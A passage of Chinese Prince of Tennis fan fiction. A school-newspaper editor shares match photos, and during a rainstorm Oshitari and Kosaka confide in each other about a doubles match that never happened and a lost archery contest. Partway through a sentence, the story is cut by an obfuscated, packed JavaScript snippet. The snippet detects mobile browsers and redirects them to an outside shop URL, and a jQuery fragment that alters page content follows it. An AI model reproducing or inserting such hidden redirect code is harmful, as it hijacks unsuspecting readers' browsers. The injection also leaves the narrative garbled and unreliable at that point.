周一午休，藤崎把一叠刚洗出来的照片铺满了小町的课桌。
纸张从便当盒旁一路延伸到忍足那边。最上面是迹部与真田隔着球网握手，后面几张拍到了凤的发球、向日扑向网前，以及丸井站在场边吹泡泡糖。
向日拿起自己的照片，对着光看了半天。
“为什么是背面？”
照片里的他正从空中落下，红棕色的头发被风吹得竖起来，只能看见半张侧脸。
“你移动得太快了。”藤崎说，“摄影部已经尽力了。”
“那这一张呢？”
向日又抽出下一张。
这次倒是拍到了正面，只是网球刚好挡在鼻子前面。
藤崎沉默两秒，把照片从他手里拿走。
“可以放在花絮页。”
“谁要看这种花絮？”
“我。”水野说。
佐仓跟着举手：“我也想看。”
向日转向小町。
小町正用筷子把便当里的芦笋卷夹到一边。察觉他的视线，她抬起脸，认真看了一遍那张照片。
“构图很好。”
“你根本没有看我。”
“网球的位置很有趣。”
“删掉。”
藤崎立刻把照片压在采访夹下面：“编辑部拥有最终决定权。”
向日试图伸手去拿。藤崎早有准备，抱起采访夹躲到水野身后。两个人隔着桌子争了几个来回，直到高桥老师从教室外经过，向日才勉强坐回原位。
忍足一直没有参与。
他面前放着一盒三明治，手边摊开联合训练的采访记录。柳对练习赛的分析被藤崎整理成了三段，其中提到忍足在第三局改变了原有的回球选择。
“这一句可以用吗？”藤崎终于从水野身后出来，“‘赛前数据并不能完全预测选手的临场变化’。”
“柳说的？”忍足问。
“我整理过。”
“难怪听起来比较像校刊。”
“这是在夸我吗？”
“可以这样理解。”
藤崎接受了这个答案。
她将采访夹翻到最后，露出另一张体育赛事汇总表。上面记录着冰帝本学期已经结束的正式比赛，男子网球部在春季赛失利的一栏被红笔圈了起来。
“还有这个。”藤崎说，“主编想把春季赛果放在联合训练报道旁边，作为后续关东大赛的背景。”
向日刚放下的筷子又停住了。
“有什么好写的？”
“只写结果和出场名单。”
“出场名单里根本没有我们。”
“所以双打二写‘未出场’。”
向日皱起眉。
这三个字显然比直接写“落败”更让他不舒服。
“不能不写吗？”
“空着会像漏印。”
“那就写比赛在轮到双打二以前结束。”
“太长了，表格放不下。”
“把字体缩小。”
“其他项目为什么要陪你一起缩小？”
两个人很快从表格宽度争到校刊版面设计。藤崎拿尺子量给他看，向日则坚持右侧明明还有空白。水野起初还帮忙解释，后来发现谁也没准备听，干脆低头继续吃饭。
小町看向那张汇总表。
双打二，忍足侑士、向日岳人，未出场。
比赛当天，她只在班级聊天群里看见了零比三的最终结果。向日发了许多消息，忍足却只在后面提醒他完成英语练习。第二天到了学校，他照常替向日分析题目，也照常参加训练。
小町点开输入框，写过一句“辛苦了”，又在发送以前删掉。隔着手机说这种话太像对所有参赛者都适用的慰问，她真正想问的并不是这个。
仿佛那三个字并没有给他留下任何影响。
“就写未出场吧。”忍足忽然开口。
向日转过头。
“可是——”
“事实就是没有上场。”
“我们连比赛都没有打。”
“所以才叫未出场。”
忍足将汇总表推还给藤崎，语气没有变化。向日盯着他看了一会儿，最终还是低头咬了一口面包。
藤崎察觉气氛不对，没有继续讨论排版。
她迅速收起照片和采访记录，只剩下一张被压在小町便当盒下的练习赛照片。水野抽出来看了看。
照片里的忍足刚刚追到底线外。
画面略微失焦，球拍和手臂的边缘被速度拉出重影。柳站在球网另一侧，只露出半个背影。
小町接过照片。
快门按下的时间应该在第三局。忍足尚未完成回球，网球停在画面右上角，距离拍面还有很短的一段。
没人能从照片里看出这一球最后有没有得分。
下午第二节课后，天色忽然暗了下来。
最初只是几滴雨落在窗玻璃上。不到五分钟，整片天空便被厚重的云层遮住，雨水斜着扫过操场，把仍晾在室外的体育器材淋了个正着。
值日生冲去关窗。
风从最后一扇尚未合拢的窗户灌进来，卷起桌面上的测验纸。靠窗的几个人连忙伸手去按，仍有一张从教室后方飞到讲台旁。
高桥老师捡起试卷，看了一眼名字。
“向日。”
教室里响起笑声。
向日从座位上站起来：“为什么只有我的飞走了？”
“可能因为分数比较轻。”忍足说。
向日弯腰捡起橡皮，朝他比画了一下。
高桥老师还站在讲台前，他最终没敢扔。
放学铃响时，雷声从远处滚过来。
学校广播很快通知室外社团暂停活动。网球部的学生聚在一楼连廊等待，田径部则忙着把训练器材搬回仓库。弓道场虽然有屋顶，箭道却已经被雨水打湿，北川让部员暂时留在教学楼，不要急着过去。
小町和几名弓道部成员站在鞋柜附近。
松田趴在玻璃门上观察雨势。
“天气预报明明说傍晚才下。”
“现在就是傍晚。”宫下说。
“才四点。”
“那就去和天气预报商量。”
松田转过身，露出一副确实准备寻找投诉渠道的表情。
有人提议先去自动贩卖机，有人准备回教室拿没写完的作业。宫下看了眼手机里的雷电预警，让大家二十分钟后重新集合。
人群很快散开。
小町返回教室取弓道笔记。
推开后门时，里面只剩下忍足。
他没有开灯，坐在窗边的位置上。网球包靠着桌脚，上午那张练习赛照片被压在一本书下面，只露出忍足握拍的右手和半颗停在空中的网球。
小町走到自己的座位旁，从抽屉里取出笔记。
忍足听见动静，抬头看了她一眼。
“弓道部还没有开始？”
“箭道进水了。宫下学姐让我们二十分钟以后集合。”
“网球场也是。”
忍足朝窗外看去。雨水在玻璃上连成一片，已经看不清球网的位置。
小町把笔记放进书包。转身时，她又看见了那张照片。
“真帆把照片给你了？”
“让我确认能不能放进校刊。”
忍足从书下将照片抽出来，推到桌边。小町拿起看了一遍，认出这是他与柳比赛的第三局。
“拍得挺好的。”
“这一球没接到。”
小町重新低下头。
画面略微失焦。忍足已经追到底线外，手臂向后展开，球拍与网球之间只差很短的一段距离。从照片上看，确实很像下一秒便能赶上。
“你还记得是哪一球？”
“前几天的比赛，不至于忘得这么快。”
教室里重新安静下来。
雨水打在窗框上，间或夹着树叶刮过玻璃的声音。小町低头整理书包，弓道记录表与国文练习夹在一起，她抽了两次才把它们分开。
忍足把照片翻到背面。
“藤崎中午拿来的那张汇总表，你看见了吧？”
小町没想到他会主动提起，手里的动作停了停。
“看见了。”
“双打二，未出场。”
“嗯。”
“岳人觉得那样写很难看。”
“我以为他只是觉得字体太小。”
“那是后面才开始争的。”
忍足用拇指压着照片一角。相纸略微弯曲，又在他松手以后恢复原状。
“其实我也不喜欢那三个字。”他说。
小町抬起脸。
忍足的视线还停在照片背面。
“不过藤崎没有写错。那天确实没有轮到我们。总不能为了顾及心情，替我们编一个比分放上去。”
“我还以为你真的不介意。”
“怎么可能。”
他说得很快，随后像是觉得语气重了些，又把身体靠回椅背。
“也不是……一直放不下。只是偶尔想起来会觉得很烦。”
小町等着他继续。
忍足却停在这里，仿佛后面的部分连他自己也没有提前整理过。过了一会儿，他抬手碰了碰眼镜。
“比赛前一天，岳人还专门换了新鞋带。不是因为旧的坏了，他只是觉得红色那副在正式比赛里比较顺眼。”
小町没有打断。
“轮到第三场单打时，我们已经热身两次了。岳人总觉得下一局就该去候场，隔几分钟便问一次时间。后来工作人员开始收椅子，我才反应过来，后面不会再有比赛。”
忍足说到这里，顿了一下。
“其实也不是那时候才反应过来。比分已经很明显了，只是……球还在打，总觉得不应该提前把拍子收起来。”
他低头看着自己的手。
右手食指与虎口处留着长期握拍形成的薄茧。小町以前见过，却没有认真留意。
“向日君当时很生气吗？”
“回程一句话都没说。”
“这确实很严重。”
“嗯。他平时连睡着以后都很吵。”
小町被逗得弯了一下嘴角。
忍足也笑了，但笑意很快便淡下来。
“后来有人问我们是不是很遗憾。我说当然遗憾，对方又开始安慰，说双打二没有出场也好，至少不是我们输掉的。”
“听起来不会让人心情变好。”
“是不太会。”
忍足把照片塞回书里，动作有些随意，照片边缘没有完全对齐。他又抽出来，重新夹好。
“但人家也是好意。总不能因为安慰得不合适，就摆出一张更难看的脸。”
小町低头看着自己的弓道记录。
她用手指抚平纸角，过了片刻才说：
“我以前也遇见过。”
忍足的动作停下来。
“比赛输了以后，很多人告诉我，不是我一个人的责任。还有人说，因为大家一直觉得我一定能中，所以才会把最后的位置交给我。”
她说得很慢。
这些话并不陌生，可真正讲给别人听时，顺序仍然乱了。她原本想从队友的安慰开始，说出口的却先是最后的位置。
“他们应该是想让我不要难受。我也知道。”小町盯着记录表上的红圈，“但听完以后……还是会觉得，如果最后站在那里的人不是我，说不定结果就会不一样。”
忍足没有立刻接话。
雨声填进两个人之间的空隙。
“你刚才说，不喜欢那张表格写‘未出场’。”小町继续道，“可至少你们没有真正输掉属于双打二的比赛。我当时已经把箭射出去了。记分纸上画了叉，也没有办法说那一箭其实还没结束。”
说到最后，她自己先觉得这段比较有些奇怪。
网球与弓道原本就不是同一种比赛。一个没有上场，一个已经失利，硬要放在一起并不能得出什么结果。
“抱歉。”她将记录表折回去，“我好像把话题说到自己身上了。”
“没关系。”
忍足看着她，似乎还在考虑该怎样回答。片刻后，他伸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842508|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手将眼镜向上推了一点。
“其实我有时候也希望那场比赛是自己输的。”
小町怔了怔。
“至少上场以后，可以知道哪里没打好。发球、回球、配合，回去都有东西可以练。没有上场就只剩下想象，想象自己如果上去，也许能把比分追回来。”
他说完，像是觉得后半句话有些过于自信，又补充：
“当然，也可能输得更快。”
“你真的这样想？”
“最后一句不太真。”
小町笑了一声。
忍足也垂下眼笑了起来。
这次安静下来以后，气氛没有刚才那么紧。雨势稍微小了一点，能够隐约看见操场另一边的树。
“所以你第二天才表现得像没事？”小町问。
话出口后，她又觉得“表现”这个词不够合适。
“我的意思是，你还照常上课、训练，也没有像向日君那样——”
“像岳人那样到处告诉别人他很不高兴？”
“差不多。”
“因为说很多遍也不会增加一次出场机会。”
忍足回答以后，又靠着椅背想了一会儿。
“而且我不太喜欢别人一直问。说自己遗憾，说完要接受安慰；如果说没关系，又会被当成真的不在乎。解释起来很麻烦。”
“那你会和向日君说吗？”
“他不用问。”
“为什么？”
“他就站在旁边。”
小町看着忍足。
这句话并没有多么特别。双打搭档一起在候场区等了四十分钟，当然知道对方是什么心情。
忍足好像从不需要费力向别人证明什么。这个念头让她羡慕。
“我有点羡慕你。”她说。
忍足露出意外的神色。
“羡慕我没上场？”
“不是。”
“就是你看起来很容易把事情放到后面。输了也好，没有上场也好，第二天还是会去训练。不会一直……”
她抬起手，在半空比画了一下，却找不到一个合适的动作来说明“困在同一个结果里”。
最后只好把手放回去。
“算了，我不知道该怎么说。”
“我大概明白。”
“真的？”
“应该吧。”
忍足并没有趁机给出一个准确答案。他望着窗外看了一会儿，才开口：
“不过你可能羡慕错人了。我不是很容易放下，只是比较会装作没事。”
他的语气有些含糊，像是这句话说出口以前，他自己也没有完全确定。
“那场比赛结束以后，我回家又看了一遍录像。第二天在部里看，回程的时候又和岳人看了一次。想到如果换成自己上场会怎么打，还是会觉得……算了。”
“为什么算了？”
“后面听起来像是在说自己一定能赢。”
“你不是这样想的吗？”
忍足被问得停了一下。
“有想过。”
“那就说。说想赢有什么不好意思的。”
“千岛同学偶尔意外地直接。”
“只有偶尔吗？”
“这句话也很直接。”
两个人对视片刻，一起笑了。
忍足低头翻开那本夹着照片的书。几页纸后面还放着一张折起来的比赛对阵表，边缘已经起毛。
“我只是不想反复告诉所有人，我到底有多不甘心。”他说，“说一次还好，说多了，好像必须每天表现得比前一天更遗憾才算认真。太累了。”
小町想了想。
“那现在为什么告诉我？”
忍足翻书的手停在半空。
这个问题显然不在他准备回答的范围里。
他看了小町一眼，又移开视线。
“可能因为你已经问到这里了。”
“是我问得太多？”
“有一点。”
小町立刻合上弓道笔记：“抱歉。”
“我的意思是……”忍足难得卡住。他抬手碰了碰额角，像是复盘比赛都没有解释这句话麻烦，“你问得多是事实。我愿意回答，也是事实。”
小町重新看向他。
“所以可以继续问？”
“今天先到这里。”
“原来还是有限制。”
“总要留一点给下次。”
话说完，两个人都安静了一下。
“下次”并不是约定，也没有日期，只是忍足很自然地假设，她以后还会坐在他旁边，问起那些他不想反复解释给所有人听的事。
小町没有指出这一点。她把弓道笔记收进书包，动作比刚才慢了一些。第一次，她想知道一个人没有说完的部分，并不是为了找到结论。
广播恰好在这时响起。
雷电警报解除，室外社团可以根据场地情况恢复训练。
楼下立刻传来欢呼，随后又是一阵提醒学生不要在走廊奔跑的广播。
向日从教室后门探进来。
“忍足，场地能用了！”
发梢沾着水，他大概刚刚跑过连廊。说完以后，他才看见小町。
“你们两个怎么还在这里？”
小町背起书包：“等雨停。”
向日看向忍足：
“你刚才明明说要去检查排水。”
忍足拿起网球包，神情自然地从他身边经过。
“现在去。”
向日狐疑地跟上，走出几步又折回来，从桌上拿走那张练习赛照片。
“这张不能放校刊。”他对小町强调，“提醒真帆换掉。”
“为什么？”
“忍足没接到。”
“你怎么知道？”
“我是他搭档，我在旁边看见了。”
向日说完便追着忍足跑向楼梯。
小町站在原地，看了看已经空下来的门口。
楼下又有人叫向日的名字。小町拿好弓道笔记，关上教室后门，沿着还带着雨气的走廊往道场走去。